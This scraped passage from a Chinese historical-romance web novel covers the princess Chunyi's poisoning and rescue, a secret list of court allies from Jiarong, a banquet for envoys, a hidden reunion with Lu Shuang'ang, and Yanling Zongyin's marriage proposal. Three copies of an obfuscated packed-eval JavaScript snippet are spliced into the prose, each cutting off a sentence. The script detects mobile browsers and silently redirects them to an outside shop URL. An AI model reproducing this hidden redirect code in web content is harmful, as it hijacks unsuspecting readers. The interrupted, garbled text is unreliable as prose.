“对,就这。”纯懿微笑,说出“一笔勾销”四字时,她的神情中终于带上了几分释然,“我没有别的话了。多谢你。” “那行。”唐括额尔点头,“我也不是那种杀人不眨眼的女魔头,纯懿帝姬这般的美人儿,我还是乐意让你死得好看一点的。毒药行吗?” 她随手将鞭子丢到一边,然后从袖袋里掏出一个小瓷瓶来:“效果很好,就是会有点痛苦,你忍一下。” 看她这般熟稔自然的动作,显然这样的事没少干。纯懿不置可否,安静倚坐在墙角,注视着唐括额尔拔掉瓶塞,缓缓向她走来。 一步,两步…… 外面“砰”的一声巨响,让唐括额尔的步子顿了顿。她皱起眉头,正要质问是谁在破坏她即将要取人性命的好心情,一道低沉的声音忽然响起,带着命令和威压的口吻,竟然穿透了沉重的石门,清晰传入唐括额尔和纯懿耳中。 “开门。” 略微停顿,然后,伴着一阵刀锋劈砍岩石的声音,那道声音中的咬牙切齿已清晰可辨。 “开门!” 只这两个字,纯懿就立刻听出,这是延陵宗隐。 延陵宗隐竟然这么快就找来了。 唐括额尔自然也听出来了。她看看现在还紧闭的石门,又看看虚弱的纯懿,显然也被突然而来的延陵宗隐乱了心神。 延陵宗隐向来是一个没有耐心的人。他本就在懊恼自己用了这么久才找到这里,担忧里面纯懿的情况,现在只稍微等了一会儿,不见里面有回应,便再也按捺不住焦躁暴虐的心情。 他丢开大刀,厉声道:“拿火药来!” 里面的两人清楚听到了延陵宗隐的怒喝,纯懿倒是还好,可唐括额尔却慌了神。她仗着有叔叔唐括国相撑腰,向来嚣张跋扈,什么祸事都敢闯,一时竟忘了,延陵宗隐比她还无所畏惧,也比她更疯。 “不能用火药!这里会塌掉的!不止我们,你也会被埋在这里的!” “那就一起埋。”延陵宗隐冷笑一声,“拿来!” 外面一阵窸窣,以延陵宗隐行事疯狂的程度,是真的能干出将这里直接炸开的事的。 唐括额尔又看看石门,终于下定了决心般,朝着纯懿飞跑过来。她狠狠捏住纯懿的下巴,分开她的双唇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566366|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将瓷瓶里的液体一股脑倒进了纯懿嘴里,然后如释重负地将空瓶扔到一边,竟然抱臂“呵呵”笑了起来。 “谁怕谁啊,”唐括额尔语带挑衅,倨傲地仰着头,“既然这样,那就一起死啊。” 这两人一个比一个乖张,纯懿虚弱地靠在一边,很是有些无奈。可很快,疼痛就渐渐从肚腹中泛了起来,五脏六腑都像被抛进火焰中炙烤一般,剧烈的灼烧痛感涌上喉管。 纯懿咬牙忍了一会儿,终于还是力竭,身子顺着墙壁缓缓滑下,两手本能地死死压着小腹,全身都蜷缩在一起,眼前一阵一阵发红,耳边的声音渐渐缥缈,神志也缓缓涣散开来。 在她最后的混沌时刻,整个世界都似乎震了一震。激荡的尘土中,一个高大的身影朝着她奔来,一双温暖的大掌颤抖着覆上她已开始微微痉挛的身体,不住按压着她的腹部。有人好像在她耳边喊着什么,然后,什么东西顶开了她的双唇,一股强劲的吸力传来,拼命攫取着她口中的空气,和她被灌下的正在她体内滚烫沸腾的液体。 不知过了多久,一阵冰凉细致地拂过她的身体,驱散了残存的灼烫。纯懿睫毛颤了颤,缓缓睁开双眼,明亮的日光晃入她眸底,让她下意识轻轻侧过脸去躲避。 她这细微的动作却立刻引起了旁边人的注意。 正在她手臂上移动的冰凉绢帕一顿,女声柔和,带着发自真心的惊喜:“谢天谢地,你终于醒了。” 纯懿实在没想到,会在这里看到她,有些愣愣地开口:“嘉荣姐姐……” 最后一次与她见面的场景重回心底,纯懿乖觉改口:“十二王妃。” “还是喊我姐姐吧。”嘉荣低下头,继续用绢帕仔细擦拭纯懿的手臂,神情认真又温柔,“你出了这种事,身边没有家人给你撑腰怎么行……” 嘉荣微一停顿,忽然抬头,对着纯懿笑道:“不对,可不是没有人给你撑腰。延陵宗隐这次是铁了心要把事闹大,除了要退婚,还要求唐括家交出唐括额尔。” 她摇摇头,又继续帮纯懿擦拭身体:“延陵宗隐是什么人,唐括额尔到了他手上,哪还能活?就是想痛快的死都是不可能的。大王这两日因着这事焦头烂额,托我来这里看看你。” 她的手在纯懿胳膊上轻轻一点,飞快冲着外面瞥了一眼,然后意味深长地看向纯懿:“你外表看着柔弱,却是姊妹里最坚强的,你大概不知道,我其实真的很佩服你,也相信你能熬过来。现在你既然醒了,我也就放心了,这便回去了。” 一边说着,嘉荣微侧了身子,在身体的掩护下,飞快从怀中掏出一张叠的四四方方的纸,借着帮纯懿擦拭的动作,迅速塞进了她被中。 迎着纯懿很是疑惑的双眸,她对着纯懿眨眨眼睛,微笑:“我从小就不像你这般聪明,也没有什么别的办法,只能尽量帮你到这里。纯懿,别放弃,千万别放弃,你不是一个人,你还有我。” 92. 第 92 章 嘉荣塞来的是一张名单。 一张并不很长、但也绝不算短的名单。上面写了几位虞娄重臣的名字,还很细致地标出了谁可以寻机求助,谁不堪信任,不到万不得已时不能去联络。 嘉荣现在可是虞娄的王妃,她是怎么在虞娄宫廷之中联系上的这些外臣,又是用什么作为代价才换得了他们的些毫支持,纯懿几乎难以想象。 而嘉荣也不说。她只是将这份名单交给纯懿,神情中依旧带着隐藏不住的些微怯懦,说出的每个字却都异常清晰:“我的裴郎死了,我的烨哥儿也死了,我也不甘心,但我不知道要怎么做,也什么都不敢做。” “可你成功逃走了。你知道吗?你离开上京的第二天,我听闻消息的时候,我有多震惊,又有多受鼓舞。”嘉荣手指轻柔拂过纯懿脸颊,帮她将脸侧碎发别到耳后,“所以我才有胆子做这些。纯懿,你既然能成功逃走一次,就能成功第二次。我把这些给你,在你手里,它更有用。” 嘉荣已经走了许久,纯懿仍旧紧紧攥着那张薄薄的纸,将整个头脸都埋在被子里,痛哭失声。 她一直以为,只有她自己的坚持是没有任何意义的,可今天嘉荣的到来却如同一缕阳光,在一直以来笼罩着纯懿的阴云中划出一道光。 嘉荣告诉她,她的坚持其实是有意义的。只要还在努力,不管是短暂的成功,还是一时的失败,都是有意义的。 忽然,蒙在头上的被子被一把拽开,刺眼的光线晃得纯懿下意识脸庞微侧,将一只手搭在眼睑处,试图遮挡。一只大掌却捏住纯懿的手腕,将她细瘦的胳膊拎了起来,然后俯身,仔细打量纯懿鼻水泪水都糊在一起的脸。 延陵宗隐嗓音也是沙哑的,语气有些古怪:“你在哭?” 纯懿下意识用另一只自由的手胡乱擦拭着狼狈的脸颊,声音沙哑,没好气的:“我差点就死了,你还不许我哭吗?” 这下,延陵宗隐连表情都古怪了起来。他将纯懿的胳膊拎得更高,自己俯身更低,一张棱角分明的英俊脸庞几乎紧贴上纯懿泪湿的脸,锐利的眸光在纯懿面上细细逡巡,似乎是想看出什么似的。 纯懿被他看得别扭,细瘦的腕子在延陵宗隐大掌中挣扎扭动,五根手指扑棱着想要逃出延陵宗隐的桎梏。 延陵宗隐也没再坚持,轻轻撒了手,纯懿便飞快抽回自己的手掌,一边小心揉捏着泛红的位置,一边轻推延陵宗隐一把,让他给她腾出些空间来,然后就努力想要撑起疲软的身子半坐起来。 可她才刚醒,余毒未清,力气也还没恢复,折腾了半天都没能成功起身,反而将身下的被褥卷出好几道褶皱,直挺挺立在她娇嫩的皮肤下,实在是突兀碍眼得很。 延陵宗隐抿紧了唇,见纯懿还在努力,便隐忍着将视线转向别处。可很快,他又重将视线转了回来,眼看着那褶皱越来越多,终于还是忍不住,将健壮的身体重新虚悬在纯懿上方,密密实实占满她起身的空间,强迫她重新躺回被子里。 然后,他一只手探入纯懿腰下,微一用力,就将她整个身子都抬了起来,几乎是揽压入自己怀中,另一只手却越过纯懿伸到床上,去抚平床褥上的褶皱,粗噶着声音也不忘冷嘲热讽:“都卷成面花卷子了,睡着不嫌硌得慌吗?还是公主呢……” 延陵宗隐的动作却忽然一顿。他两根修长的手指从床榻上夹起一张叠得四四方方的纸,垂眸打量着:“这是什么东西?” 纯懿心里一惊。 嘉荣塞给她的名单! 这个东西可不能被延陵宗隐看到。以他的敏锐,立刻便会怀疑到嘉荣头上。 纯懿顾不得太多,探长胳膊从延陵宗隐手中将那纸条抢过来,紧紧捏在自己手心里:“还给我!” 延陵宗隐黑眸微眯。他挑眉,一边继续去抚平床褥上的褶皱,一边状似无意地问:“这么宝贝,什么东西?” 纯懿心中微微一紧。她努力摆出一副泰然的表情,当着延陵宗隐的面将那纸条塞进里衣衣结之中,镇定道:“我的遗言。” 对上延陵宗隐的目光,纯懿微笑:“唐括额尔倒是提醒了我,我现在可是不少人的眼中钉,说不定什么时候就挂了。这次,她至少还愿意让我说几句话,若是换了别人直接砍了我,我连句遗言都没机会说,那可冤死了。” 说完,她拍拍腰间藏着那小纸条的位置,故作认真道:“你记好了,我放在这里了。若是哪天我出了事,你要是能找到我,记得翻这里找一找。” “胡说八道什么?”延陵宗隐皱起眉头。他这次着实是有些被吓到了,听不得什么“死”字什么“遗言”的,当即阴沉着脸紧抿了唇,不想再继续讨论这个话题。 纯懿本来也就是为了转移延陵宗隐的注意力,现在他不提了,她自然配合,也乖乖闭了嘴不再开口。 屋里一时安静下来。延陵宗隐沉默着将最后一条褶皱抚平整,确认床褥再次恢复柔软平滑,这才将纯懿轻轻放回床上,又粗手重脚地帮她将被角牢牢环住脖颈,这才重新直起身来。 他高大的身躯直挺挺立在床边,看着乖巧躺在床上只露出一个脑袋的纯懿,视线复杂,不知在想些什么。想了一会儿之后,他似乎终于下定决心,开口道:“你让唐括额尔转告我的话,我听到了。” 延陵宗隐嗓音像鸭子般粗噶难听,与他英俊冷傲的面庞形成鲜明对比,奇怪到甚至有些可笑,可他的神情却是纯懿之前没见过的认真,隐藏着几分可以称得上是小心的试探和期待:“这次在鬼门关转了一圈,也算是死过一次了。我不会拿南庆撒气,反而会全力推动两国和谈,那你呢?你说的话还算数吗?” 纯懿眨眨眼睛,看向延陵宗隐:“我说的什么?” “一笔勾销。”延陵宗隐迅速接道,“你说,你不再想着复仇,曾经的恩怨情仇都一笔勾销。” 纯懿没想到延陵宗隐会这样问。她沉默良久,最后,还是对延陵宗隐露出一个笑容来:“既然没死,日子还是要过的。嘉荣姐姐对我说,让我往前走,不要回头。” 她脸上虽然还带着疲色,笑容中却多了不少真心,终于不再是之前那副永恒不变的平静淡漠模样:“延陵宗隐,不要总回头了。” 延陵宗隐敏锐发现了她的变化。他心中长松一口气,视线牢牢锁在纯懿身上,点头简短道:“好。” 延陵宗隐用自己的行动证明了,就是被剥夺了很久的权柄封号,他也依然是那个作风强硬、手段狠辣的“狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583639|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主”。 唐括额尔这次闯下了大祸,整个唐括家族都发动了起来,各出主意各找门路,努力想要保下她。可还没等他们救出唐括额尔,一位小领主木沐忽然上表,当庭告发唐括家族五项重罪。除了贪赃枉法、不敬不孝、不睦不义,木沐甚至还直言怀疑唐括家族与太子被害一事有关,一番演讲慷慨激昂,将众人听得一愣一愣的。 一个名不见经传的小统领,竟然敢告发位高权重的国相,说他背后没人支持,鬼都不信。 可要命的是,这木沐统领显然是有备而来,每一条重罪都配了厚厚一沓的典型案例,细节明确,证据详实,将唐括国相锤得死死的,就是想狡辩都不成。 众目睽睽之下,虞娄大王只能大怒。他当场宣布将唐括国相停职幽闭,唐括家出身的所有文武重臣全部撤职下狱,所有族产查封清点,待最终的罪名查实确定,当即从重处理,以儆效尤。 纯懿自然不太喜欢唐括额尔,可也谈不上是恨得一定要她死,对于唐括全族被一人连累而覆灭在即的结局,也颇有些唏嘘。等她身体好些了,出门晒太阳、走动走动的时候,就顺嘴与延陵宗隐感叹了几句。 “那些事桩桩件件,都是他们自己做下的,我可一件都没栽赃他。他们罪有应得,你就别为他们操心了。”延陵宗隐轻嗤一声,帮纯懿系紧了大氅系带,“晚上款待南庆使臣的宴席,你与我一起去。” 他唇角勾着浅浅的弧度,俯下身子,在纯懿耳边沉声嘱咐:“打扮得漂亮一些。” 有延陵宗隐的特意叮嘱,当晚的宴席上,纯懿刚一现身,就收获了满场惊艳的目光和感叹。南庆使臣也来了有一阵子了,倒是有几位与他们相熟的虞娄官员,还半是刻意半是真心地凑过去恭维,说庆国风水养人,帝姬容貌盛极,实在羡慕得很云云。 南庆使臣反而是一脸尴尬。他们都是徐结的心腹,来之前,徐结稍微给他们透了下底,眼下,亲眼见着这位理论上已经死在了南庆、但又光彩耀目出现在虞娄的帝姬,实在不知道要怎么解释,干脆只陪着笑脸应付过去,更是不敢朝纯懿那边多瞧一眼。 对于南庆使臣的有意冷落,纯懿倒是完全不放在心上,可看着南庆使臣对虞娄大王姿态谦卑、小心奉承的样子,却让纯懿心里难受得很。 这种难受,在虞娄大王吩咐嘉荣帝姬亲自去为南庆使臣奉酒时到达了巅峰。 南庆使臣自然知道嘉荣的身份,本不敢受领,虞娄大王却强压着他们一定要接受。一边是大庆的君臣纲常,一边是虞娄的刻意逼迫,满殿众人都在看他们的选择,南庆使臣生生急出一头一脸的汗,最后还是面容难堪地从嘉荣手里接了酒,仰头灌了下去。 纯懿再也坐不住了。她起身,也不管身旁的延陵宗隐,径直走出了殿外。夜风吹到她的脸上和身上,将她周身萦绕的酒气涩意全部驱散,纯懿这才觉得好受了一些。 她抬头望着夜空中高悬的明月,怔怔出神。 忽然,一只手抓住她的小臂,一个用力,就将纯懿整个人都扯入了黑暗中。 纯懿下意识便要惊呼出声,一个声音在她耳边响起:“别怕,是我。” 纯懿双眸蓦然睁大。她立刻回头,朝着那人望去。 93. 第 93 章 来人穿着一身虞娄袍子,戴着一个大大的兜帽,几乎遮住了整张脸,露出的那双眼睛却灿若天上的星辰:“琅琅。” 纯懿甚至都不敢想还能再见到他。她几乎失语,双唇嗫嚅,没能发出一个音节,却被他直接拥入怀中:“我就知道,我就知道你一定还活着,我就知道那个人不是你。” 陆双昂的身子颤抖着,大手搭在纯懿脑后,温柔又眷恋地摩挲着:“琅琅,别怕,我来了。” 纯懿陷入陆双昂温暖的怀抱中,眼中泪水朦胧,终于能开口时,第一句话却是:“你的身子好些了吗?” 陆双昂点头:“别担心,我已经好多了。你呢,你好不好?” 纯懿双手紧紧攥着陆双昂的衣襟,嗅着他身上熟悉的味道,只觉得一直悬浮在虚空中的的一颗心终于有了依靠。她拼命点头:“我很好,昂哥哥,我很好。” 她迟疑一下,还是问道:“贤宁呢?” 陆双昂动作一僵。他缓缓将纯懿从自己怀里挖出来,双眸不闪不避,直视着纯懿的双眼,沉声道:“琅琅,我有一件事想要跟你说,但是你不要生气,一定要听我解释……” “你和贤宁的婚事吗?我已经知道了。”纯懿双手温柔握住陆双昂紧抓着她肩膀的双手,看着他上阵杀敌时也没有过的紧张又内疚的眼神,露出一个笑容来,“我们这么久才见面,你怎么开口就要告诉我这个消息?我若是真的生气了,不肯听你解释怎么办?” 听纯懿一口道破这件事,陆双昂的神情骤然紧绷,可待看出她脸上笑容不是作假,不由长松了一口气,满脸认真地解释:“你不会的。而且,就算你生气,也是应该的,我更应该立刻与你解释清楚,不能让你一直生气下去。” 陆双昂目光真挚,消瘦的脸庞上却仍带着属于那个爽朗少年的率真与骄傲:“琅琅,我们互相许诺过的,有什么误会就要解开,有什么难处我们一起分担,我们不要做那些因为不肯主动开口解释而渐行渐远、只能相敬如宾的夫妻。” “陛下给我与贤宁赐了婚,但是我们没有成亲,也绝不会成亲。贤宁也与我一样,我们都相信你一定没有死,她这次留在临安麻痹陛下,她让我告诉你,她等你回去。” 纯懿看着面前这个相识于年少的人,一颗泪忽地从眼角坠下。她脸上笑容更大,伸手轻柔去抚摸他凹陷的轮廓,口中却叹息道:“你个傻子。” 曾经在汴京城中醉心诗画、打马游花的少年,终于成为了可以为她遮风挡雨的男人。 陆双昂大掌贴上纯懿在他脸上流连的手,迅速道:“时间紧张,我这次是随着南宋使团一起来的。今晚我会跟在你后面一起回府,然后等四更时分,我带你离开,你先在上京的陆家军暗点里藏身,然后等南庆使臣离开时,我们随他们一起走。” 冷风吹在纯懿脸上,有些刺痛,却也让她觉得从未有过的清醒。她急忙反握住陆双昂的手:“不行,昂哥哥,这样行不通的。他……他是个疯子,发现我不在了,他会杀了你们所有人的。” 纯懿没有指名道姓,说的那个疯子是谁,两人却都心知肚明。 “琅琅别怕,我们双方正在议和,虞娄大王不会任由他发疯的。”陆双昂急切道,“你在他身边太危险了……” “昂哥哥!”纯懿挣脱开陆双昂的双手,“你不了解他,他根本不在乎什么虞娄大王。而且,我们之前不是费尽心思逃跑了吗?然后呢?就是已经回到临安,就是我重新成为公主,不还是被他又抓了回来?昂哥哥,一味的逃跑是没有用的。要想彻底摆脱他的掌控,我们得想个法子,让虞娄再没有威胁弹压我们的实力才行。要么,是我们自己强大起来,要么,是……” 她看着陆双昂,未尽之语,却心意相通。 “我同意你的看法,但是琅琅,”陆双昂皱着眉头:“这些事不是一时半会能有个结果的,现在的当务之急,是你得离开这里,你不能再留在他身边……” 身后忽然传来一道沉肃的声音,仿佛比寒冷的夜风还要冰凉:“见到帝姬了吗?” 纯懿和陆双昂都是一僵。有人回答了“没有”,沉稳的脚步声便渐渐朝着这边行来,一声一声,越来越近。 纯懿立刻便去推陆双昂:“昂哥哥,你快走。不要暴露身份,不要轻举妄动,也不要联系我。延陵宗隐不是一般人,被他发现一点蛛丝马迹,他就会死咬着不放。” 陆双昂不愿这么离开,可那脚步声已越来越清晰。纯懿咬唇,拼命将陆双昂推向更深的黑暗里:“昂哥哥,你放心,有你在,我就可以撑下去,绝不会放弃。” 隔着台阶蒙下的阴影,延陵宗隐的身影已经隐约可见。陆双昂终于咬紧牙关,对着纯懿飞快道:“府外拐角处的乞丐是我们的人,想找我,就去给他一碗饭。” 陆双昂翻过栏杆,从高台上飞身跃下,下一瞬,一只大掌已经绕上纯懿的腰间。 延陵宗隐将纯懿拉入自己怀里,挑眉:“在这里干什么呢?” 纯懿一颗心还“怦怦”直跳。她不敢继续留在这里,便对着他露出一个笑容来,轻声道:“里面太闷了,我出来透透气,这里太冷了,正准备回去了。” 说完,她抬步越过延陵宗隐,就要回大殿去。 胳膊却忽然被拉住了。延陵宗隐一只手就将她扯了回去,黑眸朝着陆双昂刚刚离开的方向投去一瞥,沉声道:“只有你自己吗?” 纯懿心下一沉。她看向延陵宗隐,面上淡然平静,却小心观察着延陵宗隐的表情,心里仔细斟酌着:延陵宗隐到底是看到了陆双昂,还是只是心中有所怀疑,在诈她?她是应该撒谎只有一人,还是老实交代比较好? 可延陵宗隐一双黑眸深若幽谭,面上表情也是毫无波澜,根本看不出来他的真实想法。 纯懿暗暗咬唇,横下心决定赌一把。 “也不是,刚刚嘉荣姐姐派人来寻我,带了她的几句话。” 纯懿看延陵宗隐似乎还想要追问什么,故意赶在他前面开口:“现在看来,嘉荣姐姐才是最聪明的人,得了大王爱重,还有自己的骨肉承欢,生活平稳幸福,与在汴京做帝姬时相比也不差在哪里。倒是我……” 她目光转而望向漆黑的夜空,视线悠远,脸上笑容就带上了丝苦涩:“折腾了半天,本来还惦念着我的家人也反目成仇,最后还是无夫无子,孑然一身,连身份都没了,日子过得一塌糊涂,还不知道未来会如何。” 延陵宗隐抓着纯懿的手紧了一紧。纯懿回头看向他,粲然一笑:“当时为了这件事,我还与她大吵一架,现在来看,倒是有点羡慕她。” 延陵宗隐看着纯懿,薄唇紧抿,双手越收越紧。 他在宴席中途追出殿外,本来是看纯懿久久未归,很是担心她。可好不容易找到这里时,打眼一瞟,却看到了一个身影一晃而过,而那影子,怎么看怎么眼熟。 于是他有意试探,本没太多别的意思,而纯懿话语中隐含的深意,却让延陵宗隐心神微动,理智几番想克制,一句话却早于他的冷静脱口而出:“你想过这样的生活吗?” 说完后,他停顿一下,又换了种说法:“你愿不愿意过这样的生活?” 纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594059|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懿有些惊讶地看向他,一会儿之后,才半斥半嗔道:“嘉荣姐姐可是得了正式册封的。” 既然已经说到这里,延陵宗隐也不再退缩,直截了当道:“你嫁给我,我娶你。” 纯懿刚才话中有话,的确是有意扰乱延陵宗隐的心神,可也只是为了转移他对陆双昂的怀疑,倒是真没想到延陵宗隐会说出这样的话。 她看着面前比她高上许多的延陵宗隐,沉默一会儿,才轻声提醒他:“我已经嫁人了。” 正正戳到延陵宗隐的痛脚上。延陵宗隐气结,看着她冷笑连连:“是纯懿帝姬嫁了人,她已经死了。” 纯懿的面上就露出些无奈。她看延陵宗隐的目光像是在看闹脾气的小孩,叹气:“自己骗自己,不觉得幼稚吗?” 延陵宗隐就不说话了。他愤愤盯着纯懿,不肯放开她的胳膊,也不肯让她走,只执拗抓着她一起与他站在冷风里,不知是与谁赌气。过了一会儿,他才开口,每个字都是硬邦邦的:“你写过和离书了。” 纯懿有些怔然,完全不记得自己什么时候还写过和离书。想了许久才想到,那会儿还是在汴京,延陵宗隐抓了她关在刘家寺大营,威胁要用她陆夫人的身份羞辱陆双昂,她羞恼又愤懑,提笔就写了和离书,要让他没办法控制自己。 她都快忘了这件事了,没想到,延陵宗隐竟还记得。 当时的件件羞辱重新浮现在记忆中,纯懿胸膛剧烈起伏着,反唇相讥:“你不是当场就撕了吗?更何况,我都没能用这封和离书从陆家抬走嫁妆,算什么和离?” 延陵宗隐顿时语塞。他看着纯懿明亮的双眸,那里重新燃起了两簇小小的火苗,比夜空中的星辰还要生动美丽,灿烂又炫目。 延陵宗隐不由想到宴席上投向她的惊艳赞叹的视线,忽然不想让这样的她被别人看到。他向来随心所欲,想做就做,也不再回大殿,拉着她直接朝着宫门方向而去。 还不忘气哼哼地道:“你那嫁妆不要了。就送他了。” 延陵宗隐将纯懿送回小院,自然又强缠着她索了一阵甜美的深吻才肯放她离开。回到主院,他却没进睡房,而是从书房最下面拉出一只大箱子,在里面找了一会儿,翻出一张用书浆修补过的纸。 打开纸张,上面“和离书”三个大字,明晃晃落入延陵宗隐眸中。 在跳跃的烛火下,延陵宗隐看了这张和离书良久,面色明亮不定,许久之后,忽然勾唇一笑。 他也不知道当时是怎么想的,鬼使神差地,竟然还将这张被他亲手撕碎的和离书捡了回来,命人认真修补后,留存至今。 不知是不是冥冥之中,那个时候的他已经预见到,现在的他会这么喜欢她,连一个只剩名头的婚约都不想留着。 “黑塔,”延陵宗隐将这和离书递到黑塔手里,淡声吩咐,“将这和离书送回南庆,从玉碟上把这婚约划了去。” 黑塔领命,接过就要走,却又被延陵宗隐喊了回去。 他唇角甚至带着些浅淡的笑意,补充道:“既然去都去了,你就一起打听清楚了,南庆的婚仪,尤其是公主的婚仪,都有些什么环节,是什么样子的。” 黑塔这次应承的就没有那么干脆了。他一下一下掀着眼皮,偷偷打量了自家郎主好几眼,这才酸着牙应了下来,准备这就找人出发。 再一次被延陵宗隐喊了回去。这一次,延陵宗隐的面色冷了许多,声音中也带上了些隐隐的杀意:“另外,你去查查,陆双昂,他现在在哪里,是不是……” 延陵宗隐一字一顿,冷然道:“正在上京。” 94. 第 94 章 忽然见到了陆双昂,纯懿简直想欢呼雀跃,可在延陵宗隐面前,却只能一直装作淡然的样子。等回了房间,一个人躺在床上,她终于可以露出无法掩饰的喜色,激动地迟迟无法入睡,一会儿想着他今日所说的话,一会儿又想着下一步要怎么办,一直到天色泛亮,才带着满腔希翼入眠,就是在梦中,唇角也是上翘的。 纯懿从来没有早起的习惯,只有在洗衣院时,才会每日被迫早早起床劳作。后来出了洗衣院,不管是忽视她的延陵宗隽,还是算得上迁就她的延陵宗隐,也没人来要求她何时起身。也因此,还没睡上一会儿就被冷着脸的塞里拉起来时,纯懿满脸都是茫然,脑子几乎转不动了。 “怎么了?”她顶着有些蓬乱的头发,睁着一双懵懂的眼睛,“出什么事了?” 塞里没说话,退后一步,露出了一双足有她两倍大的黑色靴子。 延陵宗隐似乎心情很好。他大踏步上前,看着还有些迷迷瞪瞪的纯懿,觉得她这样软糯无害的样子实在是可爱的紧,忍不住把大手搭上纯懿的发顶,将她的头发揉弄地更加散乱,然后又伸出两根手指捏住纯懿的脸颊,先向外拉,又向里揉,惹来纯懿的一个巴掌和白眼:“大早上的发什么疯?” 被打了,延陵宗隐也不生气。他收回手,转而去拉纯懿的手腕:“别睡了,快起来,收拾收拾跟我走。” 纯懿几乎没睡,不想走,努力扑腾着手脚抵抗:“去哪儿?我不去……” 延陵宗隐下定决定的事,哪里是纯懿能反抗的。在延陵宗隐亲手执起眉黛,威胁般地虚悬在纯懿脸前时,她终于彻底清醒,没好气地从他手里夺下黛笔:“我知道了知道了,你别捣乱,旁边坐着等我一会儿。” 这次延陵宗隐乖乖退开,走到一旁的桌旁坐下,自个儿给自个儿煮了杯茶,一边小口小口抿着,视线却定定盯着纯懿。看她拿起敷粉放下胭脂,又在许多首饰中挑来选去,向来觉得这些事麻烦的延陵宗隐,这次竟然从这其中寻到了些乐趣来。 甚至还又凑过去,帮着出主意:“这个好。” 纯懿看他举着的一根缀满各色宝石的华丽金步摇,白他一眼,推开他碍事的大掌,挑了一根泛着些青绿的玉簪斜插入发髻中。 看延陵宗隐一双眼睛还在她的妆台上逡巡,似乎想找点事儿做做的样子,纯懿生怕他又生出些什么念头,急忙站起身,率先朝门外走去。 “走吧。” 纯懿走了两步,才发现她并不知道要去哪里,回头一看,延陵宗隐似乎早已想到现在的场景,正抱着双臂斜靠在妆台旁,面上含笑看着她,没有一点儿要上前的意思。 见她回望,他还很是有礼地对她挥挥手,示意她继续走。 纯懿无奈,瞪他一眼,也不管是要去哪里,自己先出门了,留下延陵宗隐在后面独自大笑出声。然后,他迈开长腿,几步就追上了前面的纯懿,强制性地分开纯懿的手,将自己的五指一根一根挤进她的指尖,与她十指紧紧相扣,这才心满意足地带着她大步前行。 看着这路线,纯懿原本以为,他又要带着她去街上闲逛,可堪堪走到门口处时,延陵宗隐却脚下一拐,带着纯懿朝着前面的正院而去。 正院和书房是延陵宗隐与幕僚臣属们处理政事的地方,现在时候已经不早,院子里已有不少身着官服的人在等待。远远见到延陵宗隐高大的身影,众人急忙整衣上前,恭敬行礼,口中称呼“郎主”。 延陵宗隐一贯的冷漠,只淡淡“嗯”了一声,便如风般从他们面前掠过,直直走入书房。 延陵宗隐积威甚重,众人头也不敢抬,埋首跟在他身后进了书房。等再次行礼之后,众人抬起头来,猛然与乖乖巧巧坐在旁边的纯懿看了个对眼。 双方大眼瞪小眼互望了一会儿。纯懿坐的是属于延陵宗隐的椅子,这椅子适应延陵宗隐的身材,高大的很,她坐在上面小巧一只,双脚都触不到地面,只能虚虚悬在半空,表情纯真无辜,一脸无害。 众人不知深浅,又不敢去问延陵宗隐,便对着她开口:“你这是……” 纯懿也很无辜,她也不知道自己为什么会在这里啊,延陵宗隐直接将她半提半抱地放上椅子也没提前跟她说过啊。 纯懿便露了个微笑出来,抿着嘴不说话。 最后还是延陵宗隐先打破了寂静:“我带她来学学,你们有事直说,不用避讳。” 学学?学什么?不会是学如何处理政事吧? 众人面面相觑,纯懿也怔住了。她当然很想留在这里听听学学,可她却一时搞不清楚,延陵宗隐是想让以这种方式告诉她些什么,来威胁或是恐吓她不要轻举妄动,还是这又是一次对她的试探。 她很快做了决定,跳下椅子:“我不学。” 说罢,转身就要走。 延陵宗隐几步就追上了她。他拉住她的手臂,将她重新按回椅子上,非常理所当然的:“你日后站在我身旁,腥风血雨还多着呢,被人一骗就走怎么行?你以为人人都是唐括额尔那个话多的蠢货?” 他语气低沉严肃,不容辩驳道:“好好学,听到没?每日我要检查你的,若是什么都没学会,看我怎么收拾你。” 看起来是在恐吓纯懿,可其实听着的人各个满头大汗,顿时明白自家郎主是来真的,也不敢藏私,只当做纯懿不存在,将大事难事一件一件汇报给延陵宗隐,然后等着他示下。 一个时辰很快就过去。延陵宗隐身体素质极好,处理再多事项,也一点儿不觉得累,可纯懿在旁边看着,他的臣属们早就忍不住换了好几个姿势,有几位年纪大的,甚至在延陵宗隐低头看奏册时,就偷偷去敲后腰,一次都不落下。 纯懿再看看满脸严肃的延陵宗隐,就有些无奈。终于,在他处理完一件事项,马上又要喊下一个人时,纯懿抢先开口:“这么长时间了,我看不然休息一会儿?” 延陵宗隐明显一怔。这又没干些什么,怎么就需要休息了? 